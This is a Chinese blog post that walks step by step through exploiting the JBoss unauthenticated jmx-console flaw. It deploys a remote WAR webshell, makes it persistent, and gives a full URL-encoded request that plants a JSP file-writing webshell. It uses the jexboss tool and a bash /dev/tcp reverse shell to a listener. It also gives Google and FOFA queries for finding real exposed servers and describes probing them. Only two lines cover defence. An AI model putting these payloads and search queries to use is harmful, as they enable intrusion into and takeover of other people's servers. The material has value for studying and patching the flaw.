JBOSS未授权漏洞详细复现

Posted 涂寐

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了JBOSS未授权漏洞详细复现相关的知识,希望对你有一定的参考价值。

目录

0x00 前言

0x01 JBOSS未授权访问简介

0x02 JBOSS未授权复现一

1、Docker容器搭建环境

2、访问127.0.0.1,找到漏洞点

3、生成warSehll

4、apache2部署远程服务器

4、通过addurl参数远程部署Shell

5、成功getshell,上传永久shell

0x03 JBOSS未授权复现二

1、查找JBOSS站点

2、JBOSS漏洞检测

0x04 JBOSS未授权复现三

0x05 JBOSS未授权防护

0x06 后记

0x07 知识链接


0x00 前言

        习常规而明其理,探非凡且有所见。 --涂寐

0x01 JBOSS未授权访问简介

        JBOSS是一个基于J2EE的开放源代码应用服务器,也是一个管理EJB的容器和服务器,默认使用8080端口监听。

        JBOSS未授权访问漏洞表现为,在默认情况下无需账密就可以直接访问 http://127.0.0.1:8080/jmx-console 进入管理控制台,进而导致网站信息泄露、服务器被上传shell(如反弹shell,wget写webshell文件),最终网站被攻陷。

        该漏洞影响所有低版本的JBOSS,对其下用户影响深远。

0x02 JBOSS未授权复现一

1、Docker容器搭建环境

#搜索JBoss环境
docker search testjboss

#选择需要的环境
docker pull testjboss/jboss

#实例化testjboss/jboss镜像
docker run -d-p 80:8080 testjboss/jboss

2、访问127.0.0.1,找到漏洞点

3、生成warSehll

#自备脚本tumei.jsp
#生成war命令
jar cvf admin.war tumei.jsp

4、apache2部署远程服务器

#安装apache2
apt-get install apache2
#apache2所有文件所在位置
/etc/apache2
#apache2运行文件
/etc/init.d/apache2

#查看kali默认web站点位置是否含有/var/www/html
cd /var/www/html
#不存在,创建/var/www/html目录
mkdir -p /var/www/html
#将admin.war移入/var/www/html
cp admin.war /var/www/html

#开启apache2服务
service apache2 start
#确认已开启
service apache2 status
#访问web站点
http://127.0.0.1/
http://192.168.31.133/

4、通过addurl参数远程部署Shell

#远程服务器中war包的位置
http://192.168.31.133/admin.war
#war上传成功,会显示成功界面。
#也可以直接访问http://127.0.0.1/jmx-console/,查看http://127.0.0.1/jmx-console/,是否含有对应的war包
#抑或,访问http://127.0.0.1/admin/,显示war包中文件tumei.jsp

5、成功getshell,上传永久shell

#由于当前目录的shell仅能临时获取权限,因此把shell传到jmx-console的默认目录来巩固权限
#jmx-console的默认目录路径
/opt/jboss/jboss4/server/default/deploy/jmx-console.war/
#直接利用文件管理传shell,避免临时目录下的shell被删无法连接

0x03 JBOSS未授权复现二

1、查找JBOSS站点

①Google语法产找相关站点(有丢丢少,大概是浏览器的问题吧):inurl:"8080/jmx-console/"

②FOFA空间搜索引擎语句:"jboss" && port="8080" && country="CN"

2、JBOSS漏洞检测

①各位师傅若有闲情,可以先使用nmap工具扫描8080端口是否开放(nmap -PN ip),但笔者使用fofa搜索时限定扫描了8080端口,直接访问http://ip:8080/jmx-consolehttp://ip:8080/web-console就好了,成功,确认未授权的存在。

②手工传马,直接URL中写入大佬的一句话shell(写入文件功能),并可以通过脚本(shell.jsp)在其同级目录下新建其他文件(注意进行编码绕过)。

#写文件功能
http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True
#arg0:war包的名称,arg1:文件名称,arg2:文件后缀名,arg3:文件内容
#f=文件名,t=脚本文件内容(注意进行编码绕过)
#文件写入举例http://127.0.0.1:8080/August/shell.jsp?f=admin.txt&t=hhhhhhhhhhhhhhhhh
#文件访问举例
http://127.0.0.1:8080/August/admin.txt
#对应URL解码
http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>&argType=boolean&arg4=True

0x04 JBOSS未授权复现三

#尝试下大佬写的检测工具:https://github.com/joaomatosf/jexboss
#jexboss是一个使用Python编写的Jboss漏洞检测利用工具,通过它可以检测并利用web-console,jmx-console,JMXInvokerServlet这三个漏洞,并且可以获得一个shell。

#git下载jexboss
git clone https://github.com/joaomatosf/jexboss
#切换jexboss所在目录
cd jexboss-master/
#执行检测192.168.31.131,此
处端口为80
python3 jexboss.py -u 192.168.31.131:80

#机器A反弹shell到其他机器(B)
#B机器(192.168.31.131)开启监听
nc -l -p 666
#A利用jexboss连接jboss后,反弹shell到机器B的666端口
bash -i >& /dev/tcp/192.168.31.131/666 0>&1

0x05 JBOSS未授权防护

        1、对jmx-console和web-console界面访问增加强认证。

        2、关闭jmx-console和web-console,提高安全性。

0x06 后记

        漏洞复现很简单,尝试了多种方式,非常不错,学到挺多的。原本想着尝试学大佬做防护,但重启容器后看不出有什么改变,还是继续努力吧。 --涂寐

0x07 知识链接

JBOSS未授权访问漏洞复现 - 走看看

Jboss未授权访问漏洞复现

WEB中间件--Jboss未授权访问,加固,绕过 - 晓枫v5 - 博客园

以上是关于JBOSS未授权漏洞详细复现的主要内容,如果未能解决你的问题,请参考以下文章

JBoss未授权访问漏洞Getshell过程复现

常见未授权访问漏洞总结

Webmin未授权远程代码执行复现

Web中间件漏洞之jBoss篇

rsync未授权访问漏洞复现

Redis未授权访问漏洞复现